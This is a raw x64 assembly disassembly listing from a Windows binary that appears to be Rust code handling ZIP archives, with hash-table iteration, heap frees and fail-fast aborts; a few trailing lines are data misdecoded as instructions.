lea r13, [rsp + 0x98]
mov rbp, qword [rsp + 0xf0]
jne 0x1400c78db
lea rcx, [rsp + 0x138]
mov rdx, rbx
call fcn.1400c9cd0
mov rbx, qword [rsp + 0x148]
jmp 0x1400c78db
mov rcx, qword [rsp + 0xb0]
movzx eax, byte [r15 + rcx]
test al, al
js 0x1400c840e
movdqa xmm0, xmmword [r15]
pmovmskb eax, xmm0
tzcnt ecx, eax
movzx eax, byte [r15 + rcx]
and al, 1
movzx eax, al
sub qword [rsp + 0x1e0], rax
lea rax, [rcx - 0x10]
and rbp, rax
mov rax, qword [rsp + 0xb8]
mov byte [r15 + rcx], al
mov byte [rbp + r15 + 0x10], al
inc qword [rsp + 0x1e8]
shl rcx, 5
mov rax, r15
sub rax, rcx
neg rcx
mov qword [r15 + rcx - 0x20], r12
mov qword [rax - 0x18], r14
mov qword [rax - 0x10], r14
mov rbx, qword [rsp + 0xc0]
mov qword [rax - 8], rbx
mov rsi, qword [rsp + 0xa0]
mov edi, dword [rsp + 0xe0]
jmp 0x1400c83a8
lea rcx, [rsp + 0x1d0]
lea rdx, [rsp + 0x1f0]
call fcn.1400c8f30
jmp 0x1400c8282
mov qword [rsp + 0x8a0], rax
mov edi, dword [rsp + 0x820]
mov eax, dword [rsp + 0x824]
mov dword [rsp + 0x158], eax
mov rsi, qword [rsp + 0x828]
mov rax, qword [rsp + 0x830]
mov qword [rsp + 0x48], rax
mov r14, qword [rsp + 0x838]
mov r8d, 0x90
lea rcx, [rsp + 0xb100]
lea rdx, [rsp + 0x840]
call sub.msvcrt.dll_memcpy
test r13d, 0x800
je 0x1400c81a9
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0xe8], 0
jne 0x1400c8193
jmp 0x1400c81a9
lea rax, [0x1401b5a1d]
mov qword [rsp + 0x48], rax
mov r15d, 1
jmp 0x1400c3be0
mov r15, qword [rsp + 0x828]
mov rax, qword [rsp + 0x830]
mov qword [rsp + 0x48], rax
mov r14, qword [rsp + 0x838]
jmp 0x1400c3be0
mov rax, qword [rsp + 0x830]
jmp 0x1400c3921
call sub.kernel32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x48], rax
xor esi, esi
mov r15, rsi
mov rsi, qword [rsp + 0x1d8]
test rsi, rsi
je 0x1400c85bd
mov rdi, qword [rsp + 0x1d0]
mov rbx, qword [rsp + 0x1e8]
test rbx, rbx
jne 0x1400c8673
mov rax, rsi
shl rax, 5
add rsi, rax
cmp rsi, 0xffffffffffffffcf
je 0x1400c85bd
sub rdi, rax
add rdi, 0xffffffffffffffe0
mov rcx, qword [0x1401ee100]
xor edx, edx
mov r8, rdi
call fcn.140104a84
mov rsi, qword [rsp + 0x148]
test rsi, rsi
jne 0x1400c85f4
cmp qword [rsp + 0x140], 0
je 0x1400c3be0
mov r8, qword [rsp + 0x138]
mov rcx, qword [0x1401ee100]
xor edx, edx
call fcn.140104a84
jmp 0x1400c3be0
mov rdi, qword [rsp + 0x138]
add rdi, 0x58
jmp 0x1400c860e
add rdi, 0xb0
dec rsi
je 0x1400c85ca
cmp qword [rdi - 0x48], 0
je 0x1400c8627
mov r8, qword [rdi - 0x50]
mov rcx, qword [0x1401ee100]
xor edx, edx
call fcn.140104a84
cmp qword [rdi - 0x30], 0
je 0x1400c8640
mov r8, qword [rdi - 0x38]
mov rcx, qword [0x1401ee100]
xor edx, edx
call fcn.140104a84
cmp qword [rdi - 0x18], 0
je 0x1400c8659
mov r8, qword [rdi - 0x20]
mov rcx, qword [0x1401ee100]
xor edx, edx
call fcn.140104a84
cmp qword [rdi], 0
je 0x1400c8602
mov r8, qword [rdi - 8]
mov rcx, qword [0x1401ee100]
xor edx, edx
call fcn.140104a84
jmp 0x1400c8602
movdqa xmm0, xmmword [rdi]
pmovmskb ebp, xmm0
not ebp
lea r12, [rdi + 0x10]
mov r13, rdi
jmp 0x1400c8699
dec rbx
lea eax, [rbp - 1]
and eax, ebp
mov ebp, eax
test rbx, rbx
je 0x1400c8595
test bp, bp
jne 0x1400c86bf
nop
movdqa xmm0, xmmword [r12]
pmovmskb ebp, xmm0
add r13, 0xfffffffffffffe00
add r12, 0x10
cmp ebp, 0xffff
je 0x1400c86a0
not ebp
tzcnt ecx, ebp
shl rcx, 5
mov rax, r13
sub rax, rcx
cmp qword [rax - 0x18], 0
je 0x1400c8686
mov r8, qword [rax - 0x20]
mov rcx, qword [0x1401ee100]
xor edx, edx
call fcn.140104a84
jmp 0x1400c8686
mov esi, 1
mov r14d, 0x20
lea rax, str.Invalid_Central_Directory_headerArchive_header_is_too_largeAES_encryption_without_AES_extra_data_fieldInvalid_central_directory_size_or_offsetSupport_for_multi_disk_files_is_not_implementedFile_cannot_contain_ZIP64_central_directory_endCould_not_seek_to_start_of_central_directory
mov qword [rsp + 0x48], rax
jmp 0x1400c856c
mov dword [rsp + 0x688], 0
mov byte [rsp + 0x68c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rsp + 0x820], rax
mov qword [rsp + 0x828], 1
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x830], rax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x838], xmm0
lea rcx, [rsp + 0x688]
lea rdx, [rsp + 0x820]
call fcn.1400d14d0
mov rcx, rax
call fcn.1400dace0
mov ecx, 7
int 0x29
ud2
mov dword [rsp + 0x1c8], 0
mov byte [rsp + 0x1cc], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0x2b8], 1
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x2c0], rax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x2c8], xmm0
lea rcx, [rsp + 0x1c8]
lea rdx, [rsp + 0x2b0]
call fcn.1400d14d0
mov rcx, rax
call fcn.1400dace0
mov ecx, 7
int 0x29
ud2
mov esi, ecx
add eax, dword [rax]
out 8, eax
add byte [rax], al
xchg al, dh
add dword [rax], eax
add byte [rbx], al
or eax, 0x125651
xor edx, edx
call fcn.140104a84
test r14, r14
je 0x1400c8acc
mov rcx, qword [0x1401ee100]
xor edx, edx
mov r8, rbx
call fcn.140104a84
add dword [rax], eax
add byte [rcx - 0x7d], cl
invalid
jl 0x1400c8b11
cmp dword [rsp + 0x10], 0x11
adc byte [rcx], dl
invalid
add byte [rcx], dh
ror byte [rbp - 0x77], cl
invalid
add byte [rax - 0x75], cl
jl 0x1400c8ba7
sub byte [rax - 0x77], cl
stc
mov rbx, qword [rsp + 0x38]
jmp 0x1400c8c00
mov dword [rsp + 0x30], eax
mov rax, qword [rsi + 0x68]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsi + 0x128]
mov r14, qword [rsi + 0x20]
call fcn.140171670
test r14, r14
je 0x1400c8bed
shl edi, 0x10
or ebp, edi
shl rbp, 0x20
or rbx, rbp
shl rbx, 8
or rbx, r13
mov rcx, qword [0x1401ee100]
xor edx, edx
mov r8, rbx
call fcn.140104a84
test r12b, 0xfe
je 0x1400c8c25
mov rdi, qword [rsp + 0x30]
mov rcx, rdi
mov rbx, qword [rsp + 0x28]
add byte [rax - 0x7d], cl
mov esi, 0x168
add byte [rbp + rdx + 0x4c], dh
mov eax, dword [rsi + 0x160]
adc al, byte [rax]
shr al, cl
jl 0x1400c8cc3
add eax, dword [rax]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
clc
jbe 0x1400c8db4
invalid
pop rsi
jle 0x1400c8e3b
sub byte [rcx], al
add byte [rax], al
add dh, byte [rdx + 0x30]
mov rcx, rdi
add byte [rcx], al
add byte [rax], al